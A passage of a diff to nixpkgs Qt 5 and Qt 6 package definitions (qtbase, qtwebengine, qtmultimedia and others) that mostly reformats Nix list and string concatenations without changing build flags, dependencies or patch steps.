+        "-device-option CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+      ]
+      ++ lib.optional debugSymbols "-debug"
+      ++ lib.optionals developerBuild [
+        "-developer-build"
+        "-no-warnings-are-errors"
+      ]
+      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+        "-no-warnings-are-errors"
+      ]
+      ++ (
+        if (!stdenv.hostPlatform.isx86_64) then
+          [
+            "-no-sse2"
+          ]
+        else
+          [
+            "-sse2"
+            "${lib.optionalString (!stdenv.hostPlatform.sse3Support) "-no"}-sse3"
+            "${lib.optionalString (!stdenv.hostPlatform.ssse3Support) "-no"}-ssse3"
+            "${lib.optionalString (!stdenv.hostPlatform.sse4_1Support) "-no"}-sse4.1"
+            "${lib.optionalString (!stdenv.hostPlatform.sse4_2Support) "-no"}-sse4.2"
+            "${lib.optionalString (!stdenv.hostPlatform.avxSupport) "-no"}-avx"
+            "${lib.optionalString (!stdenv.hostPlatform.avx2Support) "-no"}-avx2"
+          ]
+      )
+      ++ [
+        "-no-mips_dsp"
+        "-no-mips_dspr2"
+      ]
+      ++ [
+        "-system-zlib"
+        "-L"
+        "${zlib.out}/lib"
+        "-I"
+        "${zlib.dev}/include"
+        "-system-libjpeg"
+        "-L"
+        "${libjpeg.out}/lib"
+        "-I"
+        "${libjpeg.dev}/include"
+        "-system-harfbuzz"
+        "-L"
+        "${harfbuzz.out}/lib"
+        "-I"
+        "${harfbuzz.dev}/include"
+        "-system-pcre"
+        "-openssl-linked"
+        "-L"
+        "${lib.getLib openssl}/lib"
+        "-I"
+        "${openssl.dev}/include"
+        "-system-sqlite"
+        ''-${if mysqlSupport then "plugin" else "no"}-sql-mysql''
+        ''-${if libpq != null then "plugin" else "no"}-sql-psql''
+        "-system-libpng"
 
-          "-make libs"
-          "-make tools"
-          ''-${lib.optionalString (!buildExamples) "no"}make examples''
-          ''-${lib.optionalString (!buildTests) "no"}make tests''
-        ]
-        ++ (
-          if stdenv.hostPlatform.isDarwin then
-            [
-              "-no-fontconfig"
-              "-no-framework"
-              "-no-rpath"
-            ]
-          else
-            [
-              "-rpath"
-            ]
-            ++ [
-              "-xcb"
-              "-qpa xcb"
-              "-L"
-              "${libX11.out}/lib"
-              "-I"
-              "${libX11.out}/include"
-              "-L"
-              "${libXext.out}/lib"
-              "-I"
-              "${libXext.out}/include"
-              "-L"
-              "${libXrender.out}/lib"
-              "-I"
-              "${libXrender.out}/include"
+        "-make libs"
+        "-make tools"
+        ''-${lib.optionalString (!buildExamples) "no"}make examples''
+        ''-${lib.optionalString (!buildTests) "no"}make tests''
+      ]
+      ++ (
+        if stdenv.hostPlatform.isDarwin then
+          [
+            "-no-fontconfig"
+            "-no-framework"
+            "-no-rpath"
+          ]
+        else
+          [
+            "-rpath"
+          ]
+          ++ [
+            "-xcb"
+            "-qpa xcb"
+            "-L"
+            "${libX11.out}/lib"
+            "-I"
+            "${libX11.out}/include"
+            "-L"
+            "${libXext.out}/lib"
+            "-I"
+            "${libXext.out}/include"
+            "-L"
+            "${libXrender.out}/lib"
+            "-I"
+            "${libXrender.out}/include"
 
-              ''-${lib.optionalString (cups == null) "no-"}cups''
-              "-dbus-linked"
-              "-glib"
-            ]
-            ++ lib.optional withGtk3 "-gtk"
-            ++ lib.optional withLibinput "-libinput"
-            ++ [
-              "-inotify"
-            ]
-            ++ lib.optionals (cups != null) [
-              "-L"
-              "${cups.lib}/lib"
-              "-I"
-              "${cups.dev}/include"
-            ]
-            ++ lib.optionals (mysqlSupport) [
-              "-L"
-              "${libmysqlclient}/lib"
-              "-I"
-              "${libmysqlclient}/include"
-            ]
-            ++ lib.optional (withQttranslation && (qttranslations != null)) [
-              # depends on x11
-              "-translationdir"
-              "${qttranslations}/translations"
-            ]
-        );
+            ''-${lib.optionalString (cups == null) "no-"}cups''
+            "-dbus-linked"
+            "-glib"
+          ]
+          ++ lib.optional withGtk3 "-gtk"
+          ++ lib.optional withLibinput "-libinput"
+          ++ [
+            "-inotify"
+          ]
+          ++ lib.optionals (cups != null) [
+            "-L"
+            "${cups.lib}/lib"
+            "-I"
+            "${cups.dev}/include"
+          ]
+          ++ lib.optionals (mysqlSupport) [
+            "-L"
+            "${libmysqlclient}/lib"
+            "-I"
+            "${libmysqlclient}/include"
+          ]
+          ++ lib.optional (withQttranslation && (qttranslations != null)) [
+            # depends on x11
+            "-translationdir"
+            "${qttranslations}/translations"
+          ]
+      );
 
       # Move selected outputs.
       postInstall = ''
diff --git a/pkgs/development/libraries/qt-5/modules/qtimageformats.nix b/pkgs/development/libraries/qt-5/modules/qtimageformats.nix
index 063a7207d215..09c8d5c2c2ff 100644
--- a/pkgs/development/libraries/qt-5/modules/qtimageformats.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtimageformats.nix
@@ -10,16 +10,15 @@
 
 qtModule {
   pname = "qtimageformats";
-  propagatedBuildInputs =
-    [
-      qtbase
-      libwebp
-    ]
-    ++ lib.optionals (!jasper.meta.broken) [
-      jasper
-    ]
-    ++ [
-      libmng
-      libtiff
-    ];
+  propagatedBuildInputs = [
+    qtbase
+    libwebp
+  ]
+  ++ lib.optionals (!jasper.meta.broken) [
+    jasper
+  ]
+  ++ [
+    libmng
+    libtiff
+  ];
 }
diff --git a/pkgs/development/libraries/qt-5/modules/qtmultimedia.nix b/pkgs/development/libraries/qt-5/modules/qtmultimedia.nix
index df4a06091471..d54bbd0a9284 100644
--- a/pkgs/development/libraries/qt-5/modules/qtmultimedia.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtmultimedia.nix
@@ -19,17 +19,16 @@ qtModule {
     qtdeclarative
   ];
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      gstreamer
-      gst-plugins-base
-    ]
-    # https://github.com/NixOS/nixpkgs/pull/169336 regarding libpulseaudio
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libpulseaudio
-      alsa-lib
-      wayland
-    ];
+  buildInputs = [
+    gstreamer
+    gst-plugins-base
+  ]
+  # https://github.com/NixOS/nixpkgs/pull/169336 regarding libpulseaudio
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libpulseaudio
+    alsa-lib
+    wayland
+  ];
   outputs = [
     "bin"
     "dev"
diff --git a/pkgs/development/libraries/qt-5/modules/qtsystems.nix b/pkgs/development/libraries/qt-5/modules/qtsystems.nix
index c87d258eff15..0c9557606156 100644
--- a/pkgs/development/libraries/qt-5/modules/qtsystems.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtsystems.nix
@@ -14,14 +14,13 @@
 qtModule {
   pname = "qtsystems";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "bin"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "bin"
+  ];
 
   propagatedBuildInputs = [
     qtbase
@@ -39,15 +38,14 @@ qtModule {
     udev
   ];
 
-  qmakeFlags =
-    [
-      "CONFIG+=git_build"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "CONFIG+=ofono"
-      "CONFIG+=udisks"
-      "CONFIG+=upower"
-    ];
+  qmakeFlags = [
+    "CONFIG+=git_build"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "CONFIG+=ofono"
+    "CONFIG+=udisks"
+    "CONFIG+=upower"
+  ];
 
   postFixup = lib.optionalString stdenv.hostPlatform.isLinux ''
     wrapQtApp $bin/bin/servicefw
diff --git a/pkgs/development/libraries/qt-5/modules/qttools.nix b/pkgs/development/libraries/qt-5/modules/qttools.nix
index e4b95207fe92..438300124964 100644
--- a/pkgs/development/libraries/qt-5/modules/qttools.nix
+++ b/pkgs/development/libraries/qt-5/modules/qttools.nix
@@ -57,7 +57,8 @@ qtModule {
     "bin/qthelpconverter"
     "bin/lprodump"
     "bin/qdistancefieldgenerator"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "bin/macdeployqt" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "bin/macdeployqt" ];
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString (
     stdenv.hostPlatform.isDarwin && qtdeclarative != null
diff --git a/pkgs/development/libraries/qt-5/modules/qtwebchannel.nix b/pkgs/development/libraries/qt-5/modules/qtwebchannel.nix
index 36b3000f7294..c92f6d56e13b 100644
--- a/pkgs/development/libraries/qt-5/modules/qtwebchannel.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtwebchannel.nix
@@ -15,5 +15,6 @@ qtModule {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "bin" ];
+  ]
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "bin" ];
 }
diff --git a/pkgs/development/libraries/qt-5/modules/qtwebengine.nix b/pkgs/development/libraries/qt-5/modules/qtwebengine.nix
index 6fb7d833470b..93fd45a65d14 100644
--- a/pkgs/development/libraries/qt-5/modules/qtwebengine.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtwebengine.nix
@@ -92,31 +92,30 @@ in
 qtModule (
   {
     pname = "qtwebengine";
-    nativeBuildInputs =
-      [
-        bison
-        flex
-        git
-        gperf
-        ninja
-        pkg-config
-        (python.withPackages (ps: [ ps.html5lib ]))
-        which
-        gn
-        nodejs
-      ]
-      ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-        perl
-        lndir
-        (lib.getDev pkgsBuildTarget.targetPackages.qt5.qtbase)
-        pkgsBuildBuild.pkg-config
-        (lib.getDev pkgsBuildTarget.targetPackages.qt5.qtquickcontrols)
-        pkg-config-wrapped-without-prefix
-      ]
-      ++ lib.optional stdenv.hostPlatform.isDarwin [
-        bootstrap_cmds
-        xcbuild
-      ];
+    nativeBuildInputs = [
+      bison
+      flex
+      git
+      gperf
+      ninja
+      pkg-config
+      (python.withPackages (ps: [ ps.html5lib ]))
+      which
+      gn
+      nodejs
+    ]
+    ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+      perl
+      lndir
+      (lib.getDev pkgsBuildTarget.targetPackages.qt5.qtbase)
+      pkgsBuildBuild.pkg-config
+      (lib.getDev pkgsBuildTarget.targetPackages.qt5.qtquickcontrols)
+      pkg-config-wrapped-without-prefix
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin [
+      bootstrap_cmds
+      xcbuild
+    ];
     doCheck = true;
     outputs = [
       "bin"
@@ -222,186 +221,181 @@ qtModule (
       })
     ];
 
-    postPatch =
-      ''
-        # Patch Chromium build tools
-        (
-          cd src/3rdparty/chromium;
+    postPatch = ''
+      # Patch Chromium build tools
+      (
+        cd src/3rdparty/chromium;
 
-          patch -p1 < ${
-            (fetchpatch {
-              # support for building with python 3.12
-              name = "python312-six.patch";
-              url = "https://gitlab.archlinux.org/archlinux/packaging/packages/qt5-webengine/-/raw/6b0c0e76e0934db2f84be40cb5978cee47266e78/python3.12-six.patch";
-              hash = "sha256-YgP9Sq5+zTC+U7+0hQjZokwb+fytk0UEIJztUXFhTkI=";
-            })
-          }
+        patch -p1 < ${
+          (fetchpatch {
+            # support for building with python 3.12
+            name = "python312-six.patch";
+            url = "https://gitlab.archlinux.org/archlinux/packaging/packages/qt5-webengine/-/raw/6b0c0e76e0934db2f84be40cb5978cee47266e78/python3.12-six.patch";
+            hash = "sha256-YgP9Sq5+zTC+U7+0hQjZokwb+fytk0UEIJztUXFhTkI=";
+          })
+        }
 
-          # Manually fix unsupported shebangs
-          substituteInPlace third_party/harfbuzz-ng/src/src/update-unicode-tables.make \
-            --replace "/usr/bin/env -S make -f" "/usr/bin/make -f" || true
+        # Manually fix unsupported shebangs
+        substituteInPlace third_party/harfbuzz-ng/src/src/update-unicode-tables.make \
+          --replace "/usr/bin/env -S make -f" "/usr/bin/make -f" || true
 
-          # TODO: be more precise
-          patchShebangs .
-        )
-      ''
-      # Prevent Chromium build script from making the path to `clang` relative to
-      # the build directory.  `clang_base_path` is the value of `QMAKE_CLANG_DIR`
-      # from `src/core/config/mac_osx.pri`.
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        substituteInPlace ./src/3rdparty/chromium/build/toolchain/mac/BUILD.gn \
-          --replace 'prefix = rebase_path("$clang_base_path/bin/", root_build_dir)' 'prefix = "$clang_base_path/bin/"'
-      ''
-      # Patch library paths in Qt sources
-      + ''
-        sed -i \
-          -e "s,QLibraryInfo::location(QLibraryInfo::DataPath),QLatin1String(\"$out\"),g" \
-          -e "s,QLibraryInfo::location(QLibraryInfo::TranslationsPath),QLatin1String(\"$out/translations\"),g" \
-          -e "s,QLibraryInfo::location(QLibraryInfo::LibraryExecutablesPath),QLatin1String(\"$out/libexec\"),g" \
-          src/core/web_engine_library_info.cpp
-      ''
-      # Patch library paths in Chromium sources
-      + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        sed -i -e '/lib_loader.*Load/s!"\(libudev\.so\)!"${lib.getLib systemd}/lib/\1!' \
-          src/3rdparty/chromium/device/udev_linux/udev?_loader.cc
+        # TODO: be more precise
+        patchShebangs .
+      )
+    ''
+    # Prevent Chromium build script from making the path to `clang` relative to
+    # the build directory.  `clang_base_path` is the value of `QMAKE_CLANG_DIR`
+    # from `src/core/config/mac_osx.pri`.
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      substituteInPlace ./src/3rdparty/chromium/build/toolchain/mac/BUILD.gn \
+        --replace 'prefix = rebase_path("$clang_base_path/bin/", root_build_dir)' 'prefix = "$clang_base_path/bin/"'
+    ''
+    # Patch library paths in Qt sources
+    + ''
+      sed -i \
+        -e "s,QLibraryInfo::location(QLibraryInfo::DataPath),QLatin1String(\"$out\"),g" \
+        -e "s,QLibraryInfo::location(QLibraryInfo::TranslationsPath),QLatin1String(\"$out/translations\"),g" \
+        -e "s,QLibraryInfo::location(QLibraryInfo::LibraryExecutablesPath),QLatin1String(\"$out/libexec\"),g" \
+        src/core/web_engine_library_info.cpp
+    ''
+    # Patch library paths in Chromium sources
+    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      sed -i -e '/lib_loader.*Load/s!"\(libudev\.so\)!"${lib.getLib systemd}/lib/\1!' \
+        src/3rdparty/chromium/device/udev_linux/udev?_loader.cc
 
-        sed -i -e '/libpci_loader.*Load/s!"\(libpci\.so\)!"${pciutils}/lib/\1!' \
-          src/3rdparty/chromium/gpu/config/gpu_info_collector_linux.cc
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin (''
-        substituteInPlace src/buildtools/config/mac_osx.pri \
-          --replace 'QMAKE_CLANG_DIR = "/usr"' 'QMAKE_CLANG_DIR = "${stdenv.cc}"'
+      sed -i -e '/libpci_loader.*Load/s!"\(libpci\.so\)!"${pciutils}/lib/\1!' \
+        src/3rdparty/chromium/gpu/config/gpu_info_collector_linux.cc
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin (''
+      substituteInPlace src/buildtools/config/mac_osx.pri \
+        --replace 'QMAKE_CLANG_DIR = "/usr"' 'QMAKE_CLANG_DIR = "${stdenv.cc}"'
 
-        # Use system ffmpeg
-        echo "gn_args += use_system_ffmpeg=true" >> src/core/config/mac_osx.pri
-        echo "LIBS += -lavformat -lavcodec -lavutil" >> src/core/core_common.pri
-      '')
-      + postPatch;
+      # Use system ffmpeg
+      echo "gn_args += use_system_ffmpeg=true" >> src/core/config/mac_osx.pri
+      echo "LIBS += -lavformat -lavcodec -lavutil" >> src/core/core_common.pri
+    '')
+    + postPatch;
 
-    env =
-      {
-        NIX_CFLAGS_COMPILE = toString (
-          lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-            "-w "
-          ]
-          ++ lib.optionals stdenv.cc.isGNU [
-            # with gcc8, -Wclass-memaccess became part of -Wall and this exceeds the logging limit
-            "-Wno-class-memaccess"
-          ]
-          ++ lib.optionals (stdenv.hostPlatform.gcc.arch or "" == "sandybridge") [
-            # it fails when compiled with -march=sandybridge https://github.com/NixOS/nixpkgs/pull/59148#discussion_r276696940
-            # TODO: investigate and fix properly
-            "-march=westmere"
-          ]
-          ++ lib.optionals stdenv.cc.isClang [
-            "-Wno-elaborated-enum-base"
-            # 5.15.17: need to silence these two warnings
-            # https://trac.macports.org/ticket/70850
-            "-Wno-enum-constexpr-conversion"
-            "-Wno-unused-but-set-variable"
-            # Clang 19
-            "-Wno-error=missing-template-arg-list-after-template-kw"
-          ]
-        );
-      }
-      // lib.optionalAttrs (stdenv.buildPlatform != stdenv.hostPlatform) {
-        NIX_CFLAGS_LINK = "-Wl,--no-warn-search-mismatch";
-        "NIX_CFLAGS_LINK_${buildPackages.stdenv.cc.suffixSalt}" = "-Wl,--no-warn-search-mismatch";
-      };
+    env = {
+      NIX_CFLAGS_COMPILE = toString (
+        lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
+          "-w "
+        ]
+        ++ lib.optionals stdenv.cc.isGNU [
+          # with gcc8, -Wclass-memaccess became part of -Wall and this exceeds the logging limit
+          "-Wno-class-memaccess"
+        ]
+        ++ lib.optionals (stdenv.hostPlatform.gcc.arch or "" == "sandybridge") [
+          # it fails when compiled with -march=sandybridge https://github.com/NixOS/nixpkgs/pull/59148#discussion_r276696940
+          # TODO: investigate and fix properly
+          "-march=westmere"
+        ]
+        ++ lib.optionals stdenv.cc.isClang [
+          "-Wno-elaborated-enum-base"
+          # 5.15.17: need to silence these two warnings
+          # https://trac.macports.org/ticket/70850
+          "-Wno-enum-constexpr-conversion"
+          "-Wno-unused-but-set-variable"
+          # Clang 19
+          "-Wno-error=missing-template-arg-list-after-template-kw"
+        ]
+      );
+    }
+    // lib.optionalAttrs (stdenv.buildPlatform != stdenv.hostPlatform) {
+      NIX_CFLAGS_LINK = "-Wl,--no-warn-search-mismatch";
+      "NIX_CFLAGS_LINK_${buildPackages.stdenv.cc.suffixSalt}" = "-Wl,--no-warn-search-mismatch";
+    };
 
-    preConfigure =
-      ''
-        export NINJAFLAGS=-j$NIX_BUILD_CORES
+    preConfigure = ''
+      export NINJAFLAGS=-j$NIX_BUILD_CORES
 
-        if [ -d "$PWD/tools/qmake" ]; then
-            QMAKEPATH="$PWD/tools/qmake''${QMAKEPATH:+:}$QMAKEPATH"
-        fi
-      ''
-      + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
-        export QMAKE_CC=$CC
-        export QMAKE_CXX=$CXX
-        export QMAKE_LINK=$CXX
-        export QMAKE_AR=$AR
-      '';
+      if [ -d "$PWD/tools/qmake" ]; then
+          QMAKEPATH="$PWD/tools/qmake''${QMAKEPATH:+:}$QMAKEPATH"
+      fi
+    ''
+    + lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+      export QMAKE_CC=$CC
+      export QMAKE_CXX=$CXX
+      export QMAKE_LINK=$CXX
+      export QMAKE_AR=$AR
+    '';
 
-    qmakeFlags =
-      [
-        "--"
-        "-system-ffmpeg"
-      ]
-      ++ lib.optional (
-        pipewireSupport && stdenv.buildPlatform == stdenv.hostPlatform
-      ) "-webengine-webrtc-pipewire"
-      ++ lib.optional enableProprietaryCodecs "-proprietary-codecs";
+    qmakeFlags = [
+      "--"
+      "-system-ffmpeg"
+    ]
+    ++ lib.optional (
+      pipewireSupport && stdenv.buildPlatform == stdenv.hostPlatform
+    ) "-webengine-webrtc-pipewire"
+    ++ lib.optional enableProprietaryCodecs "-proprietary-codecs";
 
-    propagatedBuildInputs =
-      [
-        qtdeclarative
-        qtquickcontrols
-        qtlocation
-        qtwebchannel
+    propagatedBuildInputs = [
+      qtdeclarative
+      qtquickcontrols
+      qtlocation
+      qtwebchannel
 
-        # Image formats
-        libjpeg
-        libpng
-        libtiff
-        libwebp
+      # Image formats
+      libjpeg
+      libpng
+      libtiff
+      libwebp
 
-        # Video formats
-        srtp
-        libvpx
+      # Video formats
+      srtp
+      libvpx
 
-        # Audio formats
-        libopus
+      # Audio formats
+      libopus
 
-        # Text rendering
-        harfbuzz
-        icu
+      # Text rendering
+      harfbuzz
+      icu
 
-        libevent
-        ffmpeg
-      ]
-      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-        dbus
-        zlib
-        minizip
-        snappy
-        nss
-        protobuf
-        jsoncpp
+      libevent
+      ffmpeg
+    ]
+    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+      dbus
+      zlib
+      minizip
+      snappy
+      nss
+      protobuf
+      jsoncpp
 
-        # Audio formats
-        alsa-lib
-        pulseaudio
+      # Audio formats
+      alsa-lib
+      pulseaudio
 
-        # Text rendering
-        fontconfig
-        freetype
+      # Text rendering
+      fontconfig
+      freetype
 
-        libcap
-        pciutils
+      libcap
+      pciutils
 
-        # X11 libs
-        xorg.xrandr
-        libXScrnSaver
-        libXcursor
-        libXrandr
-        xorg.libpciaccess
-        libXtst
-        xorg.libXcomposite
-        xorg.libXdamage
-        libdrm
-        xorg.libxkbfile
+      # X11 libs
+      xorg.xrandr
+      libXScrnSaver
+      libXcursor
+      libXrandr
+      xorg.libpciaccess
+      libXtst
+      xorg.libXcomposite
+      xorg.libXdamage
+      libdrm
+      xorg.libxkbfile
 
-      ]
-      ++ lib.optionals pipewireSupport [
-        # Pipewire
-        pipewire
-      ]
+    ]
+    ++ lib.optionals pipewireSupport [
+      # Pipewire
+      pipewire
+    ]
 
-      # FIXME These dependencies shouldn't be needed but can't find a way
-      # around it. Chromium pulls this in while bootstrapping GN.
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools.libtool ];
+    # FIXME These dependencies shouldn't be needed but can't find a way
+    # around it. Chromium pulls this in while bootstrapping GN.
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ cctools.libtool ];
 
     buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
       cups
diff --git a/pkgs/development/libraries/qt-5/modules/qtwebkit.nix b/pkgs/development/libraries/qt-5/modules/qtwebkit.nix
index 5ef6d4530912..e3eef5f1d22e 100644
--- a/pkgs/development/libraries/qt-5/modules/qtwebkit.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtwebkit.nix
@@ -50,7 +50,8 @@ qtModule {
     qtlocation
     qtsensors
     qtwebchannel
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin qtmultimedia;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin qtmultimedia;
   buildInputs = [
     fontconfig
     libwebp
@@ -74,13 +75,14 @@ qtModule {
     cmake
   ];
 
-  cmakeFlags =
-    [ "-DPORT=Qt" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DQt5Multimedia_DIR=${lib.getDev qtmultimedia}/lib/cmake/Qt5Multimedia"
-      "-DQt5MultimediaWidgets_DIR=${lib.getDev qtmultimedia}/lib/cmake/Qt5MultimediaWidgets"
-      "-DMACOS_FORCE_SYSTEM_XML_LIBRARIES=OFF"
-    ];
+  cmakeFlags = [
+    "-DPORT=Qt"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DQt5Multimedia_DIR=${lib.getDev qtmultimedia}/lib/cmake/Qt5Multimedia"
+    "-DQt5MultimediaWidgets_DIR=${lib.getDev qtmultimedia}/lib/cmake/Qt5MultimediaWidgets"
+    "-DMACOS_FORCE_SYSTEM_XML_LIBRARIES=OFF"
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     [
diff --git a/pkgs/development/libraries/qt-5/qtModule.nix b/pkgs/development/libraries/qt-5/qtModule.nix
index b7a83d12c099..165b4271c077 100644
--- a/pkgs/development/libraries/qt-5/qtModule.nix
+++ b/pkgs/development/libraries/qt-5/qtModule.nix
@@ -66,31 +66,30 @@ mkDerivation (
       . ${./hooks/fix-qt-builtin-paths.sh}
     '';
 
-    preConfigure =
-      ''
-        ${args.preConfigure or ""}
+    preConfigure = ''
+      ${args.preConfigure or ""}
 
-        fixQtBuiltinPaths . '*.pr?'
-      ''
-      +
-        lib.optionalString (builtins.compareVersions "5.15.0" version <= 0)
-          # Note: We use ${version%%-*} to remove any tag from the end of the version
-          # string. Version tags are added by Nixpkgs maintainers and not reflected in
-          # the source version.
-          ''
-            if [[ -z "$dontCheckQtModuleVersion" ]] \
-                && grep -q '^MODULE_VERSION' .qmake.conf 2>/dev/null \
-                && ! grep -q -F "''${version%%-*}" .qmake.conf 2>/dev/null
-            then
-              echo >&2 "error: could not find version ''${version%%-*} in .qmake.conf"
-              echo >&2 "hint: check .qmake.conf and update the package version in Nixpkgs"
-              exit 1
-            fi
+      fixQtBuiltinPaths . '*.pr?'
+    ''
+    +
+      lib.optionalString (builtins.compareVersions "5.15.0" version <= 0)
+        # Note: We use ${version%%-*} to remove any tag from the end of the version
+        # string. Version tags are added by Nixpkgs maintainers and not reflected in
+        # the source version.
+        ''
+          if [[ -z "$dontCheckQtModuleVersion" ]] \
+              && grep -q '^MODULE_VERSION' .qmake.conf 2>/dev/null \
+              && ! grep -q -F "''${version%%-*}" .qmake.conf 2>/dev/null
+          then
+            echo >&2 "error: could not find version ''${version%%-*} in .qmake.conf"
+            echo >&2 "hint: check .qmake.conf and update the package version in Nixpkgs"
+            exit 1
+          fi
 
-            if [[ -z "$dontSyncQt" && -f sync.profile ]]; then
-              syncqt.pl -version "''${version%%-*}"
-            fi
-          '';
+          if [[ -z "$dontSyncQt" && -f sync.profile ]]; then
+            syncqt.pl -version "''${version%%-*}"
+          fi
+        '';
 
     dontWrapQtApps = args.dontWrapQtApps or true;
 
@@ -125,6 +124,7 @@ mkDerivation (
         bkchr
       ];
       platforms = platforms.unix;
-    } // (args.meta or { });
+    }
+    // (args.meta or { });
   }
 )
diff --git a/pkgs/development/libraries/qt-6/default.nix b/pkgs/development/libraries/qt-6/default.nix
index c3f084efbced..bfab871bc314 100644
--- a/pkgs/development/libraries/qt-6/default.nix
+++ b/pkgs/development/libraries/qt-6/default.nix
@@ -183,13 +183,12 @@ let
         makeSetupHook {
           name = "wrap-qt6-apps-hook";
           propagatedBuildInputs = [ makeBinaryWrapper ];
-          depsTargetTargetPropagated =
-            [
-              (onlyPluginsAndQml qtbase)
-            ]
-            ++ lib.optionals (lib.meta.availableOn stdenv.targetPlatform qtwayland) [
-              (onlyPluginsAndQml qtwayland)
-            ];
+          depsTargetTargetPropagated = [
+            (onlyPluginsAndQml qtbase)
+          ]
+          ++ lib.optionals (lib.meta.availableOn stdenv.targetPlatform qtwayland) [
+            (onlyPluginsAndQml qtwayland)
+          ];
         } ./hooks/wrap-qt-apps-hook.sh
       ) { };
 
diff --git a/pkgs/development/libraries/qt-6/modules/qtbase/default.nix b/pkgs/development/libraries/qt-6/modules/qtbase/default.nix
index 38496daaeec2..3c410a9a13cd 100644
--- a/pkgs/development/libraries/qt-6/modules/qtbase/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtbase/default.nix
@@ -91,74 +91,73 @@ stdenv.mkDerivation rec {
 
   inherit src version;
 
-  propagatedBuildInputs =
-    [
-      libxml2
-      libxslt
-      openssl
-      sqlite
-      zlib
-      libGL
-      vulkan-headers
-      vulkan-loader
-      # Text rendering
-      harfbuzz
-      icu
-      # Image formats
-      libjpeg
-      libpng
-      pcre2
-      zstd
-      libb2
-      md4c
-      double-conversion
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
-      libproxy
-      dbus
-      glib
-      # unixODBC drivers
-      unixODBC
-      unixODBCDrivers.psql
-      unixODBCDrivers.sqlite
-      unixODBCDrivers.mariadb
-    ]
-    ++ lib.optionals systemdSupport [
-      systemd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      util-linux
-      mtdev
-      lksctp-tools
-      libselinux
-      libsepol
-      lttng-ust
-      libthai
-      libdrm
-      libdatrie
-      udev
-      # Text rendering
-      fontconfig
-      freetype
-      # X11 libs
-      libX11
-      libXcomposite
-      libXext
-      libXi
-      libXrender
-      libxcb
-      libxkbcommon
-      xcbutil
-      xcbutilimage
-      xcbutilkeysyms
-      xcbutilrenderutil
-      xcbutilwm
-      xorg.libXdmcp
-      xorg.libXtst
-      xorg.xcbutilcursor
-      libepoxy
-    ]
-    ++ lib.optional (cups != null && lib.meta.availableOn stdenv.hostPlatform cups) cups;
+  propagatedBuildInputs = [
+    libxml2
+    libxslt
+    openssl
+    sqlite
+    zlib
+    libGL
+    vulkan-headers
+    vulkan-loader
+    # Text rendering
+    harfbuzz
+    icu
+    # Image formats
+    libjpeg
+    libpng
+    pcre2
+    zstd
+    libb2
+    md4c
+    double-conversion
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [
+    libproxy
+    dbus
+    glib
+    # unixODBC drivers
+    unixODBC
+    unixODBCDrivers.psql
+    unixODBCDrivers.sqlite
+    unixODBCDrivers.mariadb
+  ]
+  ++ lib.optionals systemdSupport [
+    systemd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    util-linux
+    mtdev
+    lksctp-tools
+    libselinux
+    libsepol
+    lttng-ust
+    libthai
+    libdrm
+    libdatrie
+    udev
+    # Text rendering
+    fontconfig
+    freetype
+    # X11 libs
+    libX11
+    libXcomposite
+    libXext
+    libXi
+    libXrender
+    libxcb
+    libxkbcommon
+    xcbutil
+    xcbutilimage
+    xcbutilkeysyms
+    xcbutilrenderutil
+    xcbutilwm
+    xorg.libXdmcp
+    xorg.libXtst
+    xorg.xcbutilcursor
+    libepoxy
+  ]
+  ++ lib.optional (cups != null && lib.meta.availableOn stdenv.hostPlatform cups) cups;
 
   buildInputs =
     lib.optionals (lib.meta.availableOn stdenv.hostPlatform at-spi2-core) [
@@ -181,13 +180,15 @@ stdenv.mkDerivation rec {
     cmake
     xmlstarlet
     ninja
